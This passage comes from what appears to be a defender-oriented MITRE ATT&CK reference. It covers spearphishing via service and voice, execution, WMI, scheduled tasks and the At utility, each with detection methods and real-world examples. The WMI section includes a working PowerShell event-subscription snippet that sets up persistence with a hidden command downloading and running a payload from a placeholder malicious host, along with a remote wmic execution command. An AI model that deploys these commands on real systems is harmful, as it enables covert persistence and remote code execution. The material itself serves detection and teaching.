  * Leveraging machine learning and behavioral analytics to detect abnormal user behaviors, such as unexpected file downloads or unusual login patterns.
* **Indicators of Compromise (IoCs):**
  * Unusual URLs or shortened links provided via legitimate platforms.
  * Malicious document hashes or file signatures obtained from trusted services.
  * Suspicious login attempts or account compromises on third-party platforms.

## Why it is Important to Detect This Technique

Early detection of spearphishing via service is critical due to its potential impact on organizations. Possible consequences and the importance of timely detection include:

* **Credential Theft and Account Compromise:**
  * Attackers can harvest sensitive credentials, enabling further exploitation and lateral movement within the environment.
* **Malware Delivery and System Infection:**
  * Malicious payloads delivered through trusted services can lead to ransomware infections, data exfiltration, or persistent backdoor installations.
* **Financial Losses and Fraud:**
  * Compromised accounts may facilitate fraudulent transactions, invoice manipulation, or business email compromise (BEC) schemes, resulting in significant financial damages.
* **Reputational Damage:**
  * Successful attacks leveraging trusted services can severely impact organizational reputation, customer trust, and business continuity.
* **Data Breaches and Compliance Violations:**
  * Unauthorized access to sensitive information can lead to regulatory fines, legal liabilities, and loss of intellectual property.
* **Operational Disruption:**
  * Malware infections and account compromises can disrupt business operations, resulting in downtime and productivity losses.

## Examples

Several real-world examples demonstrate how attackers leverage spearphishing via service to execute successful attacks:

* **APT29 (Cozy Bear) Campaign Using Dropbox:**
  * Attackers utilized Dropbox links to deliver malicious documents targeting diplomatic and government institutions.
  * Victims received legitimate-looking Dropbox notifications prompting them to download documents containing malware payloads.
  * Impact included credential harvesting, espionage, and persistent access to sensitive networks.
* **FIN7 Spearphishing via Google Drive:**
  * Financially motivated threat actor FIN7 leveraged Google Drive links to deliver malicious macro-enabled documents to retail and hospitality sectors.
  * Victims received convincing notifications from Google Drive, leading to malware execution and financial data theft.
* **LinkedIn Spearphishing Attacks:**
  * Attackers created fake LinkedIn profiles impersonating recruiters or industry professionals to deliver malware-laden documents or redirect users to credential-harvesting sites.
  * Victims were tricked into downloading malicious resumes or accessing fraudulent login pages, resulting in compromised credentials and unauthorized access.
* **Slack-based Spearphishing Campaigns:**
  * Attackers infiltrated Slack workspaces and distributed malicious links or files directly via trusted collaboration channels.
  * Victims, trusting internal communications, inadvertently executed malware, enabling attackers to gain persistent access and escalate privileges within corporate infrastructures.
* **Microsoft Teams Phishing Attacks:**
  * Attackers leveraged compromised accounts or external access to Microsoft Teams environments, distributing malicious files or phishing links.
  * Successful attacks led to credential theft, unauthorized access to sensitive data, and lateral movement within victim organizations.

These examples illustrate the effectiveness and versatility of spearphishing via service, highlighting the importance of proactive detection and mitigation strategies.


# Spearphishing Voice

Spearphishing Voice \[T1566.004]

## Information

* Name: Spearphishing Voice
* ID: T1566.004
* Tactics: [TA0001](/mitre/mitre/ta0001)
* Technique: [T1566](/mitre/mitre/ta0001/t1566)

## Introduction

Spearphishing Voice (T1566.004) is a sub-technique within the MITRE ATT\&CK framework under the broader Spearphishing (T1566) technique. It involves adversaries using targeted voice calls, also known as "vishing," to deceive users into performing actions that compromise the security of their organization. These voice-based attacks typically leverage social engineering tactics, impersonation, and manipulation to trick individuals into divulging sensitive information, executing unauthorized transactions, or granting access to protected systems.

## Deep Dive Into Technique

Spearphishing Voice attacks, commonly referred to as vishing, use personalized and targeted voice communications to deceive victims. Unlike generic phishing calls, spearphishing voice attacks are tailored specifically to the targeted individual or group, increasing their effectiveness and credibility.

Technical details and execution methods include:

* **Caller ID Spoofing:** Attackers manipulate caller ID information to appear as legitimate entities, such as internal departments, trusted vendors, or government agencies.
* **Pretexting:** Attackers create believable scenarios or "pretexts" to persuade victims into providing sensitive information or performing actions that compromise security.
* **Social Engineering:** Attackers exploit human psychology, using urgency, authority, trust, or fear to manipulate victims into compliance.
* **Reconnaissance:** Attackers gather publicly available or leaked personal information beforehand (e.g., LinkedIn profiles, social media, corporate websites) to enhance credibility and increase the likelihood of success.
* **Voice Manipulation and Deepfake Audio:** Advanced attackers may use voice alteration software or deepfake audio technologies to impersonate trusted individuals convincingly.
* **Follow-up Communications:** Attackers may combine voice calls with emails, SMS, or other communication channels to reinforce legitimacy and encourage victim compliance.

## When this Technique is Usually Used

Spearphishing Voice attacks can appear across multiple stages and scenarios of an attack lifecycle, including:

* **Initial Access:** Attackers use voice calls to trick users into providing credentials, granting remote access, or installing malicious software.
* **Privilege Escalation:** Attackers impersonate IT personnel or senior management to convince employees to grant elevated permissions or reset passwords.
* **Credential Harvesting:** Attackers pose as legitimate entities (e.g., IT helpdesk, HR department) to trick users into revealing login credentials or sensitive personal information.
* **Financial Fraud:** Attackers impersonate executives or financial officers to authorize fraudulent wire transfers, payments, or financial transactions.
* **Information Gathering:** Attackers call employees to obtain sensitive internal information, such as network architecture, security policies, or employee details, to facilitate future attacks.

## How this Technique is Usually Detected

Detection methods and indicators of compromise (IoCs) for Spearphishing Voice attacks include:

* **User Reporting:** Employees reporting suspicious or unexpected calls requesting sensitive information or unusual actions.
* **Caller ID Anomalies:** Detection systems identifying spoofed caller IDs or calls originating from unusual geographic regions or known malicious numbers.
* **Behavioral Analytics:** Monitoring anomalies in user behavior, such as sudden password resets, unusual access patterns, or unexpected financial transactions following suspicious calls.
* **Voice Authentication and Verification:** Deploying voice biometric systems or multi-factor authentication (MFA) to detect and prevent unauthorized access attempts.
* **Call Logging and Analysis:** Maintaining detailed call logs and analyzing call metadata to identify patterns indicative of targeted attacks, such as repeated calls from suspicious numbers or unusual call durations.
* **Awareness Training:** Regular security awareness training to educate employees on recognizing and reporting vishing attempts.

## Why it is Important to Detect This Technique

Early detection of Spearphishing Voice attacks is critical due to the severe potential impacts on organizations, including:

* **Credential Theft:** Attackers acquiring sensitive login credentials, facilitating further compromise and lateral movement within organizational networks.
* **Financial Loss:** Successful financial fraud schemes resulting in significant monetary losses through unauthorized wire transfers or transactions.
* **Reputational Damage:** Public disclosure of successful attacks undermining customer trust and negatively affecting organizational reputation.
* **Data Breaches:** Compromise of sensitive personal, financial, or proprietary information leading to regulatory fines, legal actions, and loss of competitive advantage.
* **Operational Disruption:** Successful attacks potentially causing disruptions to critical business operations, productivity losses, and costly remediation efforts.

Early and effective detection helps minimize these impacts by enabling rapid incident response, containment, and mitigation of threats before significant damage occurs.

## Examples

Real-world examples of Spearphishing Voice attacks include:

* **Twitter Bitcoin Scam (2020):**
  * Attackers used voice-based social engineering tactics to deceive Twitter employees into providing credentials and MFA codes.
  * Attackers impersonated internal IT helpdesk personnel, convincing employees to grant access to internal administrative tools.
  * Impact: High-profile Twitter accounts (e.g., Barack Obama, Elon Musk, Bill Gates) compromised to conduct cryptocurrency fraud, resulting in financial loss and severe reputational damage.
* **Robinhood Customer Support Scam (2021):**
  * Attackers impersonated Robinhood customer support agents via phone calls, convincing users to provide account credentials and MFA codes.
  * Attackers leveraged detailed personal information obtained from previous data leaks to enhance credibility.
  * Impact: Unauthorized account access, financial losses for users, and significant reputational harm for Robinhood.
* **Corporate Wire Transfer Fraud (Multiple Incidents):**
  * Attackers impersonated company executives (CEO, CFO) in targeted voice calls to finance department employees.
  * Attackers requested urgent and confidential wire transfers to attacker-controlled bank accounts.
  * Impact: Millions of dollars in financial losses, legal actions, and damage to organizational reputation.

These examples illustrate the variety of scenarios, tools, and impacts associated with Spearphishing Voice attacks, emphasizing the importance of robust detection and prevention measures.


# Execution

Execution \[TA0002]

## Information

* ID: TA0002

## Introduction

Execution is a critical tactic within the MITRE ATT\&CK framework that represents adversary attempts to run malicious code or commands on a targeted system or network. This tactic encompasses various techniques attackers leverage to execute unauthorized software, scripts, or commands, enabling them to achieve their objectives, such as persistence, privilege escalation, data exfiltration, or lateral movement. Understanding execution techniques is essential for defenders to identify, detect, and mitigate attacks early in the attack lifecycle.

## Deep Dive Into Technique

Execution techniques involve methods attackers use to run malicious payloads or code on victim systems. Attackers commonly utilize built-in operating system utilities, scripting languages, legitimate administrative tools, or third-party software to evade detection and blend into normal system operations. Detailed execution methods include:

* **Command and Scripting Interpreter**
  * Attackers use command-line interfaces such as PowerShell, Windows Command Prompt (cmd.exe), Unix shells (bash, sh), and scripting languages (Python, JavaScript, VBScript) to execute malicious scripts or commands.
  * These interpreters are often legitimate tools, making detection challenging.
* **Scheduled Tasks and Cron Jobs**
  * Adversaries schedule malicious executables or scripts to run automatically at specified times or intervals, ensuring persistence and regular execution.
* **Service Execution**
  * Attackers create or modify system services (Windows services, Linux daemons) to execute malicious payloads.
  * This method allows persistent execution with elevated privileges.
* **User Execution**
  * Techniques that rely on user interactions, such as social engineering, phishing emails, or malicious attachments/documents, triggering execution of malicious payloads upon opening or interaction.
* **Inter-Process Communication (IPC)**
  * Attackers leverage IPC mechanisms (pipes, sockets, shared memory) to execute code indirectly or remotely on compromised systems.
* **Exploitation for Client Execution**
  * Exploiting vulnerabilities in client applications (e.g., browsers, email clients, PDF readers) to execute malicious payloads remotely.
* **Native API**
  * Attackers directly invoke Windows or Linux APIs to execute malicious code, bypassing higher-level security controls.

## When this Technique is Usually Used

Execution techniques appear throughout multiple stages of the cyber-attack lifecycle and across various attack scenarios, including:

* **Initial Access**
  * Attackers execute malicious payloads after successful phishing attacks, drive-by downloads, or exploitation of public-facing applications.
  * Examples: Malicious Office macros, malicious scripts via phishing emails.
* **Persistence**
  * Attackers use execution techniques to ensure continued access by scheduling tasks, creating services, or modifying startup items.
  * Examples: Scheduled tasks, cron jobs, malicious services.
* **Privilege Escalation**
  * Execution of scripts, binaries, or commands to exploit vulnerabilities or misconfigurations, elevating user privileges.
  * Examples: Exploiting kernel vulnerabilities, executing scripts with elevated permissions.
* **Defense Evasion**
  * Attackers execute encoded or obfuscated commands and scripts to evade traditional detection mechanisms.
  * Examples: Obfuscated PowerShell scripts, encoded command-line arguments.
* **Lateral Movement**
  * Execution of remote commands and scripts to move laterally across compromised networks.
  * Examples: Remote PowerShell sessions, SSH commands, Windows Management Instrumentation (WMI).
* **Data Exfiltration**
  * Execution of scripts or commands to compress, encrypt, or transfer data out of the victim environment.
  * Examples: Compression tools, FTP/SFTP commands, cloud storage command-line interfaces.

## How this Technique is Usually Detected

Detecting execution techniques requires monitoring and analyzing various system activities, processes, and logs. Common detection methods include:

* **Endpoint Detection and Response (EDR) Tools**
  * Monitoring execution of unusual commands, scripts, or binaries.
  * Detecting suspicious parent-child process relationships (e.g., Word spawning PowerShell).
* **Process Monitoring**
  * Monitoring processes for unusual command-line arguments, encoded commands, or obfuscated scripts.
  * Tools: Sysmon, Process Monitor, EDR solutions.
* **Command-Line Auditing**
  * Logging and analyzing command-line arguments and scripting interpreter usage.
  * Tools: Windows Event Logs, PowerShell logging, Bash history logging.
* **Behavioral Analytics**
  * Identifying abnormal execution patterns, such as processes executing from unusual directories or at unusual times.
  * Tools: SIEM solutions, UEBA platforms.
* **File Integrity Monitoring (FIM)**
  * Detecting unauthorized changes to scheduled tasks, cron jobs, services, or startup items.
  * Tools: Tripwire, OSSEC, built-in OS auditing.
* **Network Monitoring**
  * Detecting unusual outbound connections or data transfers initiated by executed scripts or commands.
  * Tools: IDS/IPS systems, network traffic analyzers (Wireshark, Zeek).

### Specific Indicators of Compromise (IoCs)

* Unusual parent-child process relationships (e.g., Office applications spawning scripting interpreters).
* Execution of encoded or obfuscated commands (e.g., Base64-encoded PowerShell).
* Unexpected scheduled tasks or cron jobs.
* Creation or modification of system services or daemons.
* Unusual network traffic patterns following script or command execution.

## Why it is Important to Detect This Technique

Early detection of execution techniques is crucial due to their significant impact on systems and networks, including:

* **Persistence and Long-Term Access**
  * Attackers leverage execution techniques to maintain persistent footholds, making remediation challenging if not detected early.
* **Privilege Escalation**
  * Execution of malicious code can lead to elevated privileges, enabling attackers to compromise additional system components and sensitive data.
* **Data Exfiltration and Theft**
  * Attackers execute scripts and commands to steal sensitive data, intellectual property, or personal information, causing significant operational and reputational damage.
* **Lateral Movement**
  * Execution techniques facilitate lateral movement across networks, expanding the scope of compromise and complicating containment and remediation efforts.
* **Disruption and Damage**
  * Execution of malicious scripts or commands can lead to system instability, service disruption, or data destruction.
* **Regulatory and Compliance Implications**
  * Failure to detect and respond to malicious execution can lead to regulatory penalties, compliance violations, and loss of customer trust.

Early detection and response reduce the attacker’s ability to achieve their objectives, limit potential damage, and significantly decrease remediation costs.

## Examples

Real-world examples illustrating execution techniques include:

* **Emotet Malware**
  * Attack Scenario: Delivered via phishing emails containing malicious Office macros.
  * Tools Used: Malicious Word documents, PowerShell scripts.
  * Impact: Initial access, persistence, credential theft, lateral movement, deployment of additional malware (e.g., TrickBot, Ryuk ransomware).
* **APT29 (Cozy Bear)**
  * Attack Scenario: Leveraged PowerShell and Windows Management Instrumentation (WMI) for execution and lateral movement.
  * Tools Used: PowerShell scripts, WMI commands, custom malware.
  * Impact: Long-term espionage, data exfiltration, persistent access to sensitive networks.
* **NotPetya Ransomware**
  * Attack Scenario: Exploited SMB vulnerabilities and executed malicious payloads via scheduled tasks and compromised software updates (MeDoc).
  * Tools Used: Scheduled tasks, malicious DLLs, EternalBlue exploit.
  * Impact: Massive operational disruption, global financial damage, data destruction.
* **FIN7 Group**
  * Attack Scenario: Used phishing emails with malicious attachments executing JavaScript, VBScript, and PowerShell scripts.
  * Tools Used: JavaScript-based payloads, PowerShell scripts, Cobalt Strike.
  * Impact: Financial theft, payment card data exfiltration, persistent access to corporate networks.
* **DarkHotel APT**
  * Attack Scenario: Exploited vulnerabilities in hotel Wi-Fi networks, executed malicious payloads via client-side exploits.
  * Tools Used: Browser exploits, malicious executables, scripting languages.
  * Impact: Espionage, credential theft, targeted attacks against executives and government officials.

These examples demonstrate the versatility and potential impact of execution techniques in real-world cyber-attacks, underscoring the importance of detection, monitoring, and mitigation.


# Windows Management Instrumentation

Windows Management Instrumentation \[T1047]

## Information

* Name: Windows Management Instrumentation
* ID: T1047
* Tactics: [TA0002](/mitre/mitre/ta0002)

## Introduction

Windows Management Instrumentation (WMI) is a built-in Microsoft Windows management technology used by administrators for system monitoring, management, and configuration. In the MITRE ATT\&CK framework, adversaries leverage WMI as a powerful technique (T1047) for lateral movement, persistence, privilege escalation, and remote code execution. Attackers exploit WMI due to its legitimate usage in enterprise environments, making malicious activities harder to detect and distinguish from normal administrative tasks.

## Deep Dive Into Technique

WMI is a core Windows component that provides a standardized interface for accessing system information and performing administrative tasks remotely or locally. It operates via the Common Information Model (CIM), allowing scripts and applications to query and manipulate system resources.

Technical Execution Methods and Mechanisms:

* **Remote Command Execution:**
  * Attackers utilize WMI's remote capabilities to execute commands or scripts on remote systems via `wmic.exe` or PowerShell cmdlets.
  * Example command for remote command execution:

    ```powershell
    wmic /node:<target_machine> process call create "cmd.exe /c malicious_script.bat"
    ```
* **Persistence via WMI Event Subscriptions:**
  * Attackers create persistent backdoors using WMI event subscriptions, which trigger malicious scripts or executables upon specific system events.
  * WMI event subscriptions consist of three components:
    1. **Event Filter:** Defines the event condition to trigger the subscription.
    2. **Event Consumer:** Specifies the action to execute (e.g., script execution).
    3. **Filter-to-Consumer Binding:** Links the event filter and consumer.
  * Example of malicious WMI event subscription creation via PowerShell:

    ```powershell
    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{Name='MaliciousFilter'; EventNamespace='root/cimv2'; QueryLanguage='WQL'; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'"}
    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name='MaliciousConsumer'; CommandLineTemplate='powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''http://malicious.domain/payload.ps1'')"' }
    Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}
    ```
* **Privilege Escalation:**
  * Attackers exploit WMI to escalate privileges by invoking processes or scripts under contexts with higher privileges.
* **Reconnaissance and Information Gathering:**
  * WMI queries allow attackers to enumerate system details, installed software, running services, and user accounts.

## When this Technique is Usually Used

Attackers commonly employ WMI at various stages of the cyber kill chain, including:

* **Execution Stage:**
  * Remotely running malicious scripts or executables on compromised hosts.
* **Persistence Stage:**
  * Creating persistent backdoors via WMI event subscriptions, allowing attackers to maintain access after system reboots.
* **Privilege Escalation Stage:**
  * Leveraging WMI to execute processes or scripts under elevated privileges.
* **Lateral Movement Stage:**
  * Utilizing remote WMI execution to propagate malware or move laterally across the network.
* **Reconnaissance Stage:**
  * Gathering detailed system information, installed software, and network configurations.

## How this Technique is Usually Detected

Detection of malicious WMI activities involves monitoring, logging, and analyzing system events and behaviors. Detection methods include:

* **Event Log Monitoring:**
  * Monitor Windows Event Logs for suspicious WMI-related events:
    * Event ID 5857 (WMI-Activity/Operational): Indicates WMI provider execution.
    * Event ID 5861 (WMI-Activity/Operational): Indicates errors or unusual WMI provider activity.
* **Sysmon Monitoring:**
  * Utilize Sysinternals Sysmon to log WMI event subscriptions:
    * Event ID 19: WmiEventFilter activity.
    * Event ID 20: WmiEventConsumer activity.
    * Event ID 21: WmiEventConsumerToFilter activity.
* **Behavioral Anomaly Detection:**
  * Detect unusual WMI queries or remote WMI executions that deviate from normal administrative patterns.
  * Correlate WMI activities with other suspicious indicators, such as abnormal network connections or process creations.
* **Endpoint Detection and Response (EDR) Tools:**
  * Deploy EDR solutions capable of detecting and alerting on suspicious WMI usage patterns, execution of scripts, and remote process creation.

Indicators of Compromise (IoCs):

* Presence of suspicious WMI event subscriptions (unusual event filters or consumers).
* Execution of unusual or obfuscated PowerShell commands via WMI.
* Unusual network traffic initiated from WMI-related processes (`wmiprvse.exe`).
* Abnormal execution of `wmic.exe` or PowerShell scripts invoking WMI classes.

## Why it is Important to Detect This Technique

Timely detection of malicious WMI activities is crucial due to the significant potential impacts on systems and networks, including:

* **Persistence and Long-Term Access:**
  * Attackers can maintain stealthy persistence through WMI event subscriptions, making remediation challenging.
* **Privilege Escalation:**
  * Exploiting WMI for privilege escalation can provide attackers with administrative privileges, leading to broader system compromise.
* **Lateral Movement:**
  * Leveraging WMI for lateral movement allows attackers to propagate malware across multiple systems rapidly.
* **Data Exfiltration and System Compromise:**
  * Attackers can utilize WMI to execute malicious payloads, enabling data theft, ransomware deployment, or complete system control.
* **Stealth and Evasion:**
  * Malicious WMI usage blends with legitimate administrative activities, complicating detection and response.

Early detection enables security teams to:

* Quickly contain and remediate incidents, minimizing damage.
* Prevent attackers from establishing long-term footholds in the environment.
* Reduce risk of data breaches, financial losses, and reputational damage.

## Examples

Real-world examples of attacks leveraging WMI include:

* **APT29 (Cozy Bear):**
  * Utilized WMI event subscriptions for persistence and remote command execution.
  * Created WMI event subscriptions triggering malicious PowerShell payloads to maintain stealthy persistence.
* **FIN7 Cybercrime Group:**
  * Employed WMI for lateral movement and remote command execution across compromised networks.
  * Leveraged WMI to execute PowerShell scripts downloading additional malware payloads.
* **TrickBot Malware:**
  * Utilized WMI commands to enumerate system information and facilitate lateral movement.
  * Executed reconnaissance commands via WMI to identify valuable targets within compromised networks.
* **NotPetya Ransomware:**
  * Leveraged WMI alongside other lateral movement techniques (such as SMB) to propagate ransomware rapidly across networks.

Tools and Techniques Used in Real-world Scenarios:

* **PowerShell Empire Framework:**
  * Provides built-in modules for creating WMI event subscriptions and executing remote commands via WMI.
* **Metasploit Framework:**
  * Includes modules leveraging WMI for remote command execution and persistence.
* **Cobalt Strike:**
  * Implements WMI-based lateral movement and persistence mechanisms for red team operations.

Impacts Observed in Real-world Attacks:

* Persistent compromise and stealthy backdoors.
* Rapid lateral movement and propagation of ransomware or malware.
* Privilege escalation leading to full network compromise.
* Extensive data exfiltration and sensitive information theft.
* Operational disruption and significant financial losses to targeted organizations.


# Scheduled Task/Job

Scheduled Task/Job \[T1053]

## Information

* Name: Scheduled Task/Job
* ID: T1053
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Sub-Technique: [T1053.005](/mitre/mitre/ta0002/t1053/t1053.005), [T1053.007](/mitre/mitre/ta0002/t1053/t1053.007), [T1053.003](/mitre/mitre/ta0002/t1053/t1053.003), T1053.001, T1053.004, [T1053.006](/mitre/mitre/ta0002/t1053/t1053.006), [T1053.002](/mitre/mitre/ta0002/t1053/t1053.002)

## Introduction

Scheduled Task/Job (T1053) is a widely recognized execution technique within the MITRE ATT\&CK framework. Attackers leverage scheduled tasks or jobs within operating systems to execute malicious code at specific times or intervals. Such tasks can be configured using built-in utilities like Task Scheduler on Windows, cron jobs on Linux/Unix systems, or launchd on macOS. Due to their legitimate administrative nature, scheduled tasks/jobs offer attackers a stealthy mechanism for persistence, privilege escalation, and lateral movement, making them a critical element for defenders to monitor and detect.

## Deep Dive Into Technique

Scheduled tasks/jobs allow attackers to automate the execution of malicious payloads or scripts without manual intervention. Attackers commonly exploit native scheduling utilities available across operating systems:

* **Windows Task Scheduler**:
  * Commands typically used:
    * `schtasks.exe`
    * PowerShell cmdlets (`New-ScheduledTask`, `Register-ScheduledTask`)
  * Tasks can be configured to execute binaries, scripts, or commands at system startup, user logon, or at specific intervals.
  * Tasks are stored in `%SystemRoot%\System32\Tasks` or registry locations (`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache`).
* **Linux/Unix Cron Jobs**:
  * Cron jobs are managed through crontab files (`/etc/crontab`, `/etc/cron.*`, or user-specific crontabs).
  * Attackers often insert malicious scripts or binaries into cron directories or user crontabs to execute periodically or at reboot.
  * Commands used:
    * `crontab -e`
    * Direct editing of cron files (`/etc/cron.d/`, `/var/spool/cron/`)
* **macOS Launchd**:
  * Uses Launch Agents (`~/Library/LaunchAgents`) and Launch Daemons (`/Library/LaunchDaemons`, `/System/Library/LaunchDaemons`) to schedule tasks.
  * Attackers create malicious `.plist` files specifying commands or scripts to execute at regular intervals or on system events.
  * Commands typically used:
    * `launchctl load`
    * `launchctl start`

Attackers may leverage scheduled tasks/jobs to:

* Establish and maintain persistence on compromised systems.
* Escalate privileges by scheduling tasks to run with higher privileges.
* Move laterally by scheduling tasks remotely on other systems within the network.
* Automate data exfiltration or command-and-control (C2) communications.

## When this Technique is Usually Used

Scheduled Task/Job usage spans multiple stages within the cyber kill chain and various attack scenarios, including:

* **Persistence**:
  * Attackers commonly schedule tasks to maintain long-term access to compromised systems, ensuring malicious payloads execute after reboots or user logins.
* **Privilege Escalation**:
  * Tasks configured to run as SYSTEM or root can elevate attacker privileges, allowing greater control over systems and networks.
* **Execution**:
  * Automated execution of payloads or scripts at specific intervals, reducing manual intervention and increasing stealth.
* **Lateral Movement**:
  * Attackers schedule tasks remotely on target machines within the network, facilitating lateral movement and further compromise.
* **Data Exfiltration**:
  * Automated data collection and exfiltration tasks run periodically, reducing attacker exposure and enhancing stealth.
* **Command and Control (C2)**:
  * Scheduled tasks periodically beacon to attacker-controlled servers, enabling sustained communication and remote control.

## How this Technique is Usually Detected

Detection of malicious scheduled tasks/jobs involves monitoring, auditing, and analyzing various system artifacts and behaviors:

* **Windows Detection Methods**:
  * Monitor creation or modification of tasks via Windows Event Logs:
    * Event ID 4698 (Scheduled Task created)
    * Event ID 4702 (Scheduled Task updated)
  * Inspect Task Scheduler libraries and registry locations:
    * `%SystemRoot%\System32\Tasks`
    * Registry keys under `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache`
  * Use Endpoint Detection and Response (EDR) tools to alert on suspicious `schtasks.exe` executions or unusual PowerShell cmdlets.
* **Linux/Unix Detection Methods**:
  * Audit cron-related file modifications:
    * Monitor `/etc/crontab`, `/etc/cron.*`, `/var/spool/cron/`
  * Utilize file integrity monitoring tools (e.g., AIDE, Tripwire) to detect unauthorized cron file changes.
  * Review system logs (`/var/log/cron`, `/var/log/syslog`) for suspicious cron job creations or executions.
* **macOS Detection Methods**:
  * Monitor Launch Agent/Daemon directories for suspicious `.plist` files:
    * `/Library/LaunchDaemons`
    * `/Library/LaunchAgents`
    * `~/Library/LaunchAgents`
  * Use endpoint monitoring solutions to detect `launchctl` command usage and suspicious file creations.
* **General Indicators of Compromise (IoCs)**:
  * Unrecognized or unusual scheduled tasks/jobs executing binaries/scripts from temporary directories or user profiles.
  * Tasks configured to run with elevated privileges or at unusual intervals.
  * Scheduled tasks calling scripts or binaries with obfuscated or encoded commands.
  * Tasks performing network connections to unknown external IP addresses or domains.

## Why it is Important to Detect This Technique

Early detection of malicious scheduled tasks/jobs is vital due to their significant impact on system security and integrity. Undetected scheduled tasks can lead to:

* **Persistent Compromise**:
  * Attackers maintain long-term access, enabling continuous exploitation and data exfiltration.
* **Privilege Escalation**:
  * Malicious tasks running with elevated privileges can compromise entire systems or networks.
* **Stealthy Operations**:
  * Automated execution reduces attacker exposure, making detection and attribution more challenging.
* **Data Exfiltration and Espionage**:
  * Scheduled tasks can automate sensitive data extraction, causing severe data breaches and privacy violations.
* **Lateral Movement and Network Compromise**:
  * Attackers leverage scheduled tasks for lateral movement, expanding their foothold across the network.

Early detection and mitigation minimize the risk of prolonged compromise, reduce potential data loss, and limit the overall damage to organizational assets, reputation, and operations.

## Examples

Real-world examples of Scheduled Task/Job exploitation illustrate the technique's prevalence and impact:

* **APT29 (Cozy Bear)**:
  * Utilized scheduled tasks for persistence and lateral movement during the SolarWinds supply chain attack.
  * Scheduled tasks executed malicious payloads and PowerShell scripts for C2 communications and data exfiltration.
  * Impact: Compromise of multiple high-profile organizations, government entities, and significant data breaches.
* **FIN7 Cybercrime Group**:
  * Employed scheduled tasks to establish persistence and automate execution of custom malware tools (e.g., Carbanak, Cobalt Strike payloads).
  * Attackers scheduled tasks to run malicious scripts periodically, facilitating ongoing data theft and financial fraud.
  * Impact: Millions of dollars stolen from financial institutions, hospitality organizations, and retail companies.
* **TrickBot Malware**:
  * Commonly schedules tasks to maintain persistence and execute malicious payloads after system reboot or user logon.
  * Tasks typically execute scripts or binaries stored in hidden directories or temporary folders.
  * Impact: Credential theft, ransomware deployment (e.g., Ryuk, Conti), and significant operational disruptions.
* **WannaCry Ransomware**:
  * Scheduled tasks used to propagate ransomware payloads and execute encryption routines on compromised systems.
  * Tasks executed malicious binaries periodically, escalating the impact and spread of ransomware attacks.
  * Impact: Global ransomware outbreak causing billions in financial losses and operational disruptions.

These examples demonstrate the critical importance of monitoring scheduled tasks/jobs, highlighting their role in significant cyber incidents, high-impact breaches, and persistent threats.


# At

At \[T1053.002]

## Information

* Name: At
* ID: T1053.002
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0002/t1053)

## Introduction

Scheduled Task/Job: At (T1053.002) is a sub-technique within the MITRE ATT\&CK framework, categorized under the Execution tactic. It specifically involves adversaries leveraging the built-in Windows AT utility to schedule tasks on a compromised host. The AT utility allows scheduling of programs or scripts to execute at a specific date and time, enabling attackers to maintain persistence, automate execution, or escalate privileges without immediate detection.

## Deep Dive Into Technique

The AT utility is a legacy Windows command-line tool that provides task scheduling capabilities. Attackers commonly exploit it due to its inherent availability on Windows systems and its ability to execute commands or scripts at a defined time, often with SYSTEM-level privileges.

Technical details and execution methods include:

* **Command Syntax**: Attackers typically utilize the AT command in the following syntax:

  ```
  at [\\computername] [time] [/interactive] [/every:date[,...] | /next:date[,...]] "command"
  ```
* **Privilege Level**: Tasks scheduled using AT generally run with SYSTEM-level privileges, providing attackers elevated access.
* **Persistence**: Tasks scheduled through AT persist across system reboots, allowing attackers long-term footholds within compromised systems.
* **Interactive Mode**: The `/interactive` switch can be used to allow interaction with the desktop session, potentially enabling further exploitation or privilege escalation.
* **Remote Scheduling**: Attackers may remotely schedule tasks on other machines using the `\\computername` parameter, provided they have sufficient privileges and network access.
* **Legacy Utility**: The AT utility is considered legacy and has been replaced by `schtasks` in newer Windows versions. However, it remains present and functional in many environments, making it a viable attack vector.

## When this Technique is Usually Used

Attackers typically leverage this sub-technique in various stages and scenarios of cyber-attacks, including:

* **Persistence Stage**: Establishing a persistent foothold on compromised hosts by scheduling recurring execution of malicious payloads.
* **Privilege Escalation**: Exploiting the elevated privileges (SYSTEM-level) associated with AT-scheduled tasks to escalate privileges on compromised systems.
* **Lateral Movement**: Remotely scheduling tasks on other networked systems to spread malware or execute reconnaissance scripts.
* **Execution Stage**: Automating the execution of malicious scripts or binaries at specific times to evade immediate detection or monitoring.
* **Defense Evasion**: Utilizing scheduled tasks to avoid real-time detection mechanisms by delaying execution or timing malicious activities during off-hours or low-monitoring periods.

## How this Technique is Usually Detected

Detection of malicious use of the AT utility involves various approaches, including monitoring, logging, and analysis:

* **Event Log Monitoring**:
  * Monitor Windows Security Event Logs (Event ID 4698 for task creation).
  * Monitor Application and System event logs for suspicious task executions.
* **Process Creation Monitoring**:
  * Observe command-line parameters associated with the `at.exe` execution.
  * Detect unusual or unexpected commands executed by scheduled tasks.
* **Registry Analysis**:
  * Scheduled tasks created with AT are stored in the registry under:

    ```
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
    ```
  * Monitor registry changes or new task entries for suspicious patterns.
* **File System Analysis**:
  * Inspect scheduled task directories (`C:\Windows\Tasks\`) for suspicious `.job` files.
* **Endpoint Detection and Response (EDR)**:
  * Utilize EDR solutions to detect and alert on suspicious task scheduling activities.
* **Indicators of Compromise (IoCs)**:
  * Unusual scheduled tasks running at odd times.
  * Tasks executing scripts or binaries from temporary locations or uncommon directories.
  * Presence of tasks with obfuscated or encoded commands.
  * Scheduled tasks created remotely or by unexpected user accounts.

## Why it is Important to Detect This Technique

Detecting the malicious use of the AT utility is crucial for maintaining the security and integrity of enterprise environments due to the following reasons:

* **Persistence and Long-Term Compromise**:
  * Attackers utilize scheduled tasks to maintain persistent access, allowing them to execute malicious payloads repeatedly over extended periods.
* **Privilege Escalation**:
